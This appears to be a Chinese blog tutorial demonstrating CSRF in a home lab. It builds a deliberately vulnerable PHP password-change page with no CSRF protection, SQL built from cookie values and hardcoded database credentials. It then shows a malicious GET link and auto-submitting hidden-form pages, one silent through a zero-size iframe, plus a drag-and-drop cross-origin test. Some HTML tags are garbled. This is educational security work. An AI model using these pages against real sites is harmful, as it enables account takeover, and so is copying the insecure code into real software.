CRSF是建立在会话之上的,听起来非常像XSS跨站脚本攻击,但是实际上攻击方式完全不同。之前在写XSS时,提到很多网站会使用cookie来保存用户登录的信息,例如昨天晚上我使用完CSDN后,关闭浏览器,关闭电脑,今天打开CSDN时,虽然没有填写账户和密码,也会自动登陆。
那么CRSF可以做到什么呢?比如A登陆了网上银行,正在准备进行一个操作,然而有攻击者给他发送了一个链接,当A点击这条URL后,自己账户的很多钱就被转走给攻击者了。这是由于,当登陆网站或者网上银行时,浏览器已经和可信节点建立了经过认证的会话,那么在会话没有超时的时间内,任何操作都会被当作时合法的。
在之前搭建的网站上,新建一个ChangePassword.php,用来帮助用户修改账户名和密码:
$cookie = $_COOKIE['username'];
if (!isset($_COOKIE['username']))
{
echo 'Illegal login!please login';
exit();
}
?>
<!DOCTYPE html>
<html lang='zh'>
<head>
<title>change password</title>
<meta charset="UTF-8">
</head>
<body>
<form name="input" action="ChangePwd.php" method="get">
密码 :<br /><label>
<input type="password" name="password">
</label><br>
确认密码 : <br /><label>
<input type="password" name="password_confirm">
</label> <br>
<input type="submit" value="确认">
</form>
</body>
</html>
ChangePwd.php用来处理提交表单的事件:
$username = $_COOKIE['username'];
if (!isset($username))
{
echo 'Illegal operationplease login';
exit();
} else{
$password = $_GET['password'];
$password_confirm = $_GET['password_confirm'];
if ($password != $password_confirm){
echo 'Passwords entered twice are inconsistentplease retry';
exit();
}
$conn = new mysqli("localhost","phpadmin", "ppzz4869","PHP");
if ($conn->connect_error){
die("connection fail" . $conn->connect_error);
}
$sql = "select * from user where name='$username'";
$res = $conn->query($sql);
if ($res->num_rows > 0){
$sql = "update user set psw='$password' where name='$username'";
$conn->query($sql) or die("fail!");
$conn->close();
echo "Password reset complete";
} else{
echo 'Illegal operationplease login';
exit();
}
}
界面如下:
假设现在用户a需要修改密码,用户输入密码以后,界面如下:
用户A通过抓包或者观察URL发现,当修改密码时,向服务器发送了两个参数,
password = a 和 password_confirm = a。那么如果将这个链接发送给别人,就可以修改别人的密码了。于是,用户A将URL http://192.168.85.128/ChangePwd.php?password=aaa&password_confirm=aaa
发送给了用户admin,并附上一些诱导点开的话。由于此网站有“保持登陆状态”的设置,当用户admin点击了这条URL的时候,发现自己的密码已经被修改了。
如果admin并没有发现问题,关闭了网页。结果下次登陆网站的时候,发现自己的账户密码已经被修改了,仅仅是因为点击了一条URL!
而发送链接的用户A,也可以轻松使用修改后的密码进行登陆了。
上面演示的方法是通过GET进行的CSRF攻击,然而,POST方法并不会把参数显示在URL中,是否还存在CSRF呢?
我们将之前修改密码的页面中get方法替换为post方法,此时发现,修改密码时,参数已经不会显示在URL中了。
对于攻击者,会查看发送的数据包,来确定在修改密码时和服务器之间进行的交互。
分析发现,当点击确认修改密码时,通过POST传了两个参数,password和password_confirm。那么攻击者就可以制造一个这样的页面,并放在攻击者自己的网站上http://192.168.85.129/dvwa/hackable/uploads/CRSF.html:
<html lang="en">
<head>
<meta charset="UTF-8">
<title>post datatitle>
head>
<body>
<form id="myform" method="post" action="http://192.168.85.128/ChangePwd.php">
<input type="hidden" name="password" value="aaa">
<input type="hidden" name="password_confirm" value="aaa">
form>
<script type="application/javascript">
var myform = document.getElementById("myform");
myform.submit();
script>
body>
html>
上述代码中,构建了一个表单,然后利用javascript自动提交表单。
当用户点击这个链接时,会发现自动跳转到修改密码的界面,完成CSRF攻击:
所以对于CSRF来说,POST和GET请求是没有区别的,只是POST请求多了一些代码。
然而,这样的跳转显然会被受攻击者察觉,所以攻击者完善代码,静悄悄地提交数据:
<html lang="en">
<head>
<meta charset="UTF-8">
<title>post datatitle>
head>
<body>
<iframe frameborder="0" name="myifram" width="0px" height="0px">iframe>
<form id="myform" method="post" target="myifram" action="http://192.168.85.128/ChangePwd.php">
<input type="hidden" name="password" value="aaa">
<input type="hidden" name="password_confirm" value="aaa">
form>
<script type="application/javascript">
var myform = document.getElementById("myform");
myform.submit();
script>
body>
html>
这一段代码的改进为, 将请求的URL在
但是密码却已经被修改了
2010年BlackHat 大会中,提到了一种“浏览器拖拽事件”导致的一些安全问题。目前许多浏览器都实现了拖拽接口,可以把一个网页中的图片或者文字可以拖着到另外一个网页中,而这种拖拽并不会受到同源策略的限制。因为,攻击者就可以诱使用户,从一些看不见的iframe中拖拽出一些信息,从而窃取数据。
然而,在我的实际测试中,不知道是这一类问题已经被修复还是我的操作有问题,希望看到这篇文章的人可以帮我指正。
在我个人的测试中发现,目前浏览器的拖拽问题和浏览器有关,且几乎屏蔽了一个页面中,非同源的拖拽问题。
测试代码如下:
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Titletitle>
<script>
function Init() {
const source = document.getElementById("source");
const target = document.getElementById("target");
if (source.addEventListener){
target.addEventListener("drop",DumpInfo);
} else {
target.attachEvent("ondrop", DumpInfo);
}
}
function DumpInfo(event) {
const info = document.getElementById("info");
info.innerHTML += "" + event.dataTransfer.getData('Text') + "
";
}
script>
head>
<body onload="Init()">
<div id="source">
<iframe id="iframe_1" src="http://192.168.85.129/dvwa/">
iframe>
div>
<div>
<textarea id="target">textarea>
div>
<div id="info" style="position:absolute;background-color:#e0e0e0;font-weight:bold; top:600px;">
div>
body>
html>
在上述代码中,建立了一个iframe,在其中打开http://192.168.85.129/dvwa/。并建立一个testarea,监听drop事件,如果有拖着的东西被放在了testarea中,就会在下面的info中显示出来。
在chrome浏览器和IE浏览器中,无法进行拖拽操作,拖拽进入testarea后,没有任何反应。
而火狐浏览器则是会把拖拽的信息直接用默认搜索引擎进行搜索
然后我又尝试,将iframe中打开的同源网页,修改test.html:
<div id="source">
<iframe id="iframe_1" src="http://192.168.85.128">
iframe>
div>
此时,无论ie,chrome或是火狐浏览器都可以进行拖拽操作了。
根据实验现象的推论:目前浏览器的拖拽,对同源内容不做限制,但是对非同源内容做出来限制?
希望错误地方可以被指正。